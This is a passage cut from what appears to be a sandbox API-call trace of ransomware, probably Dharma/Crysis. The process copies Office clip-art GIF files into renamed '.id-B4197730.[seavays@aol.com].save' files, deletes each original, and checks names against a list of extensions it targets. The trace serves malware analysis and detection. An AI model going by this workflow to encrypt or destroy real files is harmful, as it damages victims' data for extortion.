lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0061.172] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0061.172] SetEndOfFile (hFile=0x2f4) returned 1 [0061.173] CloseHandle (hObject=0x2f4) returned 1 [0061.173] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.173] SetEndOfFile (hFile=0x368) returned 1 [0061.174] CloseHandle (hObject=0x368) returned 1 [0061.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0061.175] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0061.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0061.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0061.175] lstrlenW (lpString=".doc") returned 4 [0061.175] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.175] lstrlenW (lpString=".docx") returned 5 [0061.175] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.175] lstrlenW (lpString=".pdf") returned 4 [0061.175] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.175] lstrlenW (lpString=".xls") returned 4 [0061.175] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.175] lstrlenW (lpString=".xlsx") returned 5 [0061.175] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.175] lstrlenW (lpString=".ppt") returned 4 [0061.175] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0061.175] lstrlenW (lpString=".zip") returned 4 [0061.175] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.175] lstrlenW (lpString=".rar") returned 4 [0061.175] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.175] lstrlenW (lpString=".bz2") returned 4 [0061.175] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.175] lstrlenW (lpString=".7z") returned 3 [0061.175] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0061.176] lstrlenW (lpString=".dbf") returned 4 [0061.176] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0061.176] lstrlenW (lpString=".1cd") returned 4 [0061.176] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0061.176] lstrlenW (lpString=".jpg") returned 4 [0061.176] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0061.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0061.176] lstrlenW (lpString=".doc") returned 4 [0061.176] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.176] lstrlenW (lpString=".docx") returned 5 [0061.176] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.176] lstrlenW (lpString=".pdf") returned 4 [0061.176] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.176] lstrlenW (lpString=".xls") returned 4 [0061.176] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.176] lstrlenW (lpString=".xlsx") returned 5 [0061.176] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.176] lstrlenW (lpString=".ppt") returned 4 [0061.176] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0061.176] lstrlenW (lpString=".zip") returned 4 [0061.176] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.176] lstrlenW (lpString=".rar") returned 4 [0061.176] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.176] lstrlenW (lpString=".bz2") returned 4 [0061.176] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.176] lstrlenW (lpString=".7z") returned 3 [0061.176] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0061.176] lstrlenW (lpString=".dbf") returned 4 [0061.176] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0061.177] lstrlenW (lpString=".1cd") returned 4 [0061.177] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0061.177] lstrlenW (lpString=".jpg") returned 4 [0061.177] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.177] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0061.177] lstrlenW (lpString="AG00021_.GIF") returned 12 [0061.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.177] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=14873) returned 1 [0061.177] CloseHandle (hObject=0x368) returned 1 [0061.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 0x220 [0061.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.177] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.178] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0061.178] GetLastError () returned 0x0 [0061.178] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x3a19, lpOverlapped=0x0) returned 1 [0061.179] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x3a20, lpOverlapped=0x0) returned 1 [0061.180] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0061.180] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0061.181] SetEndOfFile (hFile=0x2f4) returned 1 [0061.181] CloseHandle (hObject=0x2f4) returned 1 [0061.182] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.182] SetEndOfFile (hFile=0x368) returned 1 [0061.183] CloseHandle (hObject=0x368) returned 1 [0061.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0061.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0061.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0061.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0061.183] lstrlenW (lpString=".doc") returned 4 [0061.183] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.183] lstrlenW (lpString=".docx") returned 5 [0061.183] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.183] lstrlenW (lpString=".pdf") returned 4 [0061.183] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.183] lstrlenW (lpString=".xls") returned 4 [0061.183] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.183] lstrlenW (lpString=".xlsx") returned 5 [0061.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.184] lstrlenW (lpString=".ppt") returned 4 [0061.184] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0061.184] lstrlenW (lpString=".zip") returned 4 [0061.184] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.184] lstrlenW (lpString=".rar") returned 4 [0061.184] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.184] lstrlenW (lpString=".bz2") returned 4 [0061.184] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.184] lstrlenW (lpString=".7z") returned 3 [0061.184] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0061.184] lstrlenW (lpString=".dbf") returned 4 [0061.184] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0061.184] lstrlenW (lpString=".1cd") returned 4 [0061.184] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0061.184] lstrlenW (lpString=".jpg") returned 4 [0061.184] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0061.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0061.184] lstrlenW (lpString=".doc") returned 4 [0061.184] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.184] lstrlenW (lpString=".docx") returned 5 [0061.184] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.184] lstrlenW (lpString=".pdf") returned 4 [0061.184] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.184] lstrlenW (lpString=".xls") returned 4 [0061.184] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.184] lstrlenW (lpString=".xlsx") returned 5 [0061.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.184] lstrlenW (lpString=".ppt") returned 4 [0061.184] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0061.185] lstrlenW (lpString=".zip") returned 4 [0061.185] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.185] lstrlenW (lpString=".rar") returned 4 [0061.185] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.185] lstrlenW (lpString=".bz2") returned 4 [0061.185] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.185] lstrlenW (lpString=".7z") returned 3 [0061.185] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0061.185] lstrlenW (lpString=".dbf") returned 4 [0061.185] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0061.185] lstrlenW (lpString=".1cd") returned 4 [0061.185] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0061.185] lstrlenW (lpString=".jpg") returned 4 [0061.185] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.185] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0061.185] lstrlenW (lpString="AG00037_.GIF") returned 12 [0061.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.186] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=6684) returned 1 [0061.186] CloseHandle (hObject=0x368) returned 1 [0061.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 0x220 [0061.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.186] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.186] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0061.187] GetLastError () returned 0x0 [0061.187] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x1a1c, lpOverlapped=0x0) returned 1 [0061.188] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x1a20, lpOverlapped=0x0) returned 1 [0061.189] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0061.189] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0061.189] SetEndOfFile (hFile=0x2f4) returned 1 [0061.189] CloseHandle (hObject=0x2f4) returned 1 [0061.190] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.190] SetEndOfFile (hFile=0x368) returned 1 [0061.191] CloseHandle (hObject=0x368) returned 1 [0061.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0061.191] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0061.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0061.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0061.192] lstrlenW (lpString=".doc") returned 4 [0061.192] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.192] lstrlenW (lpString=".docx") returned 5 [0061.192] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.192] lstrlenW (lpString=".pdf") returned 4 [0061.192] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.192] lstrlenW (lpString=".xls") returned 4 [0061.192] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.192] lstrlenW (lpString=".xlsx") returned 5 [0061.192] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.192] lstrlenW (lpString=".ppt") returned 4 [0061.192] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0061.192] lstrlenW (lpString=".zip") returned 4 [0061.192] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.192] lstrlenW (lpString=".rar") returned 4 [0061.192] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.192] lstrlenW (lpString=".bz2") returned 4 [0061.192] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.192] lstrlenW (lpString=".7z") returned 3 [0061.192] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0061.192] lstrlenW (lpString=".dbf") returned 4 [0061.192] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0061.193] lstrlenW (lpString=".1cd") returned 4 [0061.193] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0061.193] lstrlenW (lpString=".jpg") returned 4 [0061.193] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0061.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0061.193] lstrlenW (lpString=".doc") returned 4 [0061.193] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.193] lstrlenW (lpString=".docx") returned 5 [0061.193] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.193] lstrlenW (lpString=".pdf") returned 4 [0061.193] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.193] lstrlenW (lpString=".xls") returned 4 [0061.193] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.193] lstrlenW (lpString=".xlsx") returned 5 [0061.193] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.193] lstrlenW (lpString=".ppt") returned 4 [0061.193] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0061.193] lstrlenW (lpString=".zip") returned 4 [0061.193] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.193] lstrlenW (lpString=".rar") returned 4 [0061.193] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.193] lstrlenW (lpString=".bz2") returned 4 [0061.193] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.193] lstrlenW (lpString=".7z") returned 3 [0061.193] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0061.194] lstrlenW (lpString=".dbf") returned 4 [0061.194] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0061.194] lstrlenW (lpString=".1cd") returned 4 [0061.194] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0061.194] lstrlenW (lpString=".jpg") returned 4 [0061.194] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.194] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0061.194] lstrlenW (lpString="AG00038_.GIF") returned 12 [0061.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.194] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=3251) returned 1 [0061.194] CloseHandle (hObject=0x368) returned 1 [0061.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 0x220 [0061.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.195] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.195] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0061.195] GetLastError () returned 0x0 [0061.195] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xcb3, lpOverlapped=0x0) returned 1 [0061.613] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xcc0, lpOverlapped=0x0) returned 1 [0061.614] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0061.614] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0061.614] SetEndOfFile (hFile=0x2f4) returned 1 [0061.614] CloseHandle (hObject=0x2f4) returned 1 [0061.615] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, 